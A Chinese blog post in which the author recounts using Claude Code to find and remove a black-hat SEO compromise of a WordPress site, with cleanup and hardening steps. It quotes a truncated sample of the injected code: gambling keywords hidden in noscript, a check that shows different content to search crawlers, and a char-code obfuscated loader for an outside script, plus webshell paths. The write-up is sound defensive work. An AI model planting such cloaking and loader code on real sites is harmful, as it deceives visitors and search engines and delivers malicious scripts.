凌晨两点,我的网站 laodad.com 悄悄被人动了手脚。
发现问题是在第二天早上。打开网站后台,死活进不去;点击首页的栏目和文章链接,全部跳回首页。我以为是缓存问题,清了缓存,重启了 Docker 容器,依然如此。
这种情况,如果让我自己排查,可能要花上大半天,还不一定找到根源。但这次,我打开了 Claude Code,把问题描述给它,然后看着它一步步帮我挖出了整件事的全貌。
第一步:让 AI 接管排查
我对 Claude Code 说:「网站访问有问题,后台打不开,首页点击栏目和文章链接都返回主页,帮我系统检查一下,看是不是中毒了。」
它没有直接猜测,而是有条不紊地开始检查:先看 Docker 容器状态,再查 Nginx 配置,然后读 WordPress 的 wp-config.php,最后查数据库里的关键选项。
几分钟后,它发现了第一个异常——WordPress 容器虽然在运行,但「只运行了 9 小时」,而数据库容器已经运行了整整 7 周。这说明容器在今天被重启过。
接着它检查了最近被修改的 PHP 文件。结果出来的那一刻,我就知道事情不简单了:
/var/www/html/wp-content/plugins/sijxifw/
/var/www/html/wp-content/plugins/lnyoinp/
/var/www/html/wp-content/plugins/jrluame/
/var/www/html/wp-content/plugins/fqmwmxn/
/var/www/html/wp-content/plugins/naorbap/
五个随机字母命名的插件目录,全是今天新建的。
第二步:发现注入的赌博 SEO 代码
Claude Code 拉取了一个文章页面的源码,让我看看到底在渲染什么。页面 <head> 的最开头,赫然出现了这段东西:
<noscript>
<title>kaiyun「中国大陆」已开·门户网站 - 官方网站|登录入口</title>
<meta name="keywords" content="kaiyun平台登录入口,开云官方网站..."/>
</noscript>
<script>
if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){
document.title = "老达AI博客 - ..."
}
</script>
<script type="text/javascript">
var xt = String.fromCharCode(60,115,99,114,105,112,116,...);
document.write(xt);
</script>
这是一段经典的黑帽 SEO 注入代码,手法相当阴险:
- 对普通用户:JavaScript 把标题改回正常,看起来一切正常
- 对百度、搜狗等爬虫:<noscript> 里的赌博关键词被完整呈现
- 同时悄悄加载一个来自 WW1021.com 的外部恶意脚本
我的网站,在访客眼里是正常的,但在搜索引擎眼里,已经变成了一个赌博网站的导流页面。
第三步:找到攻击核心
Claude Code 继续深挖。它检查了根目录下的 index.php 文件大小:
File: /var/www/html/index.php
Size: 126006 (126KB)
Type: HTML document
正常的 WordPress index.php 只有几百字节,是一个纯 PHP 引导文件。而现在这个文件是 126KB 的 HTML 文档。
攻击者把整个首页(含赌博注入代码)渲染成静态 HTML,替换掉了 index.php。由于 WordPress 的 .htaccess 规则会把所有不存在的路径都重写到 index.php,所以无论用户访问哪个文章链接,服务器都在原地返回这个被污染的首页 HTML。
这也解释了「所有文章链接都返回首页」的问题——不是重定向,是所有请求都在静默地服务同一个被污染的文件。
第四步:清点全部后门
接下来的扫描让我意识到这次攻击有多系统化。Claude Code 在整个 WordPress 目录里逐一排查,发现的后门远不止表面看到的:
隐藏 Webshell(藏在核心目录的随机子目录里):
wp-includes/sitemaps/wxerkba/1ovpbxs/jdnvuqs/indexx.php ← 完整功能 Webshell
wp-includes/sitemaps/dnlqare/ehmnqjy/1eqjads/fox.php ← 217KB 加密 Webshell
wp-includes/html-api/nmcbfdp/onbptgj/ ← 文件上传后门
wp-includes/theme-compat/ghmsukf/oamblgk/lftecno/ ← 文件读写后门
wp-content/uploads/qkwbv1o/gfhtdvr/gxivfmj/ws.php ← uploads 目录后门
5 个伪装成合法插件的后门目录,目录名全是随机字母,内部伪装成「Protect Uploads」插件的文件结构。
攻击入口:wp-file-manager 插件——这是一个已知的高危插件,长期存在可被未授权利用的漏洞,允许攻击者直接通过 Web 界面写入任意文件。
攻击时间精确到:2026 年 4 月 7 日 18:20 UTC(北京时间凌晨 2:20)。
第五步:AI 主导清除与重建
确认感染范围后,Claude Code 开始执行清理:
- 恢复 index.php——替换回标准的 WordPress 引导代码
- 删除全部 Webshell——清除 sitemaps/、html-api/、theme-compat/、uploads/ 下的所有随机目录
- 删除 5 个假插件
- 清空 WP Fastest Cache——防止被污染的缓存继续提供服务
- 禁用并永久删除 wp-file-manager
完成这些后,Claude Code 建议进行彻底重建而不是就地修复,理由是:就地清理无法保证 100% 干净,而 Docker 架构让重建的成本极低。
重建方案如下:
- 保留:数据库(干净)、上传图片(清除 PHP 文件后保留)、自定义主题
- 替换:整个 WordPress PHP 文件目录,用官方镜像重新填充
整个重建过程:停容器 → 隔离旧目录 → 启动新容器 → 还原干净内容,前后不到 10 分钟,文章、图片、设置全部保留完好。
还做了哪些加固
重建完成后,Claude Code 帮我做了几件额外的事:
阻止 uploads 目录执行 PHP:
在 wp-content/uploads/ 下新建 .htaccess,明确禁止该目录下所有 PHP 文件的执行权限。这样即使攻击者再次写入后门脚本,也无法运行。
<FilesMatch ".(php|php5|phtml|phar)$">
Deny from all
</FilesMatch>
修复头像无法显示的问题:
重建后发现头像一直加载不出来。Claude Code 检测后发现:secure.gravatar.com 在国内服务器上完全无法访问(连接超时)。它在主题的 functions.php 里加了一个过滤器,把所有 Gravatar 域名替换为国内可访问的镜像服务 Cravatar:
add_filter( 'get_avatar_url', function( $url ) {
return str_replace(
[ 'www.gravatar.com', 'secure.gravatar.com', '0.gravatar.com' ],
'cravatar.cn',
$url
);
} );
这次经历的几点感悟
一、wp-file-manager 是定时炸弹。这个插件提供了通过浏览器直接管理服务器文件的能力,一旦有漏洞,攻击者可以为所欲为。如果你的 WordPress 装了这个插件,而且不是日常必须,立刻删掉。
二、黑帽 SEO 注入比你想象的更隐蔽。普通用户完全看不出异常,只有去看页面源码、或者用搜索引擎缓存查自己网站,才可能发现问题。我的网站被当成赌博导流页不知道多久了,想想就后怕。
三、Docker 部署 WordPress 的一个被忽视的优势,就是在出问题时,重建的成本极低。数据库和文件系统的分离,让「扔掉感染的代码、保留干净的数据」变得非常容易操作。
四、AI 不只是写代码的工具。这次整个排查、诊断、清除、重建的过程,几乎都是在和 Claude Code 的对话中完成的。它会主动分析日志、识别可疑模式、提出假设、验证假设,而不是等我告诉它每一步做什么。这是和搜索引擎或者论坛求助完全不同的体验——更像是旁边坐着一个懂安全的工程师,跟你一起看问题。
最后,如果你也在用 WordPress,以下几件事现在就可以做:
- 检查插件列表,删掉 wp-file-manager
- 在 uploads 目录加 .htaccess 禁止 PHP 执行
- 定期检查是否有随机命名的目录出现在 wp-includes/ 或 wp-content/ 下
- 开启 WordPress 核心文件完整性检测
我的网站现在已经恢复正常,如果让我自己修复网站中毒的问题,可能的办法就是手动备份数据库,然后手动删除网站文件,再重新下载安装wordpress,重新配置后台等等,可能https可能也得重新设置,估计大半天时间都不一定能顺利搞定。现在用了claude code,只用了不到一个小时就发现问题并彻底解决了问题,网站功能没有受任何影响。
不得不感叹,AI真好。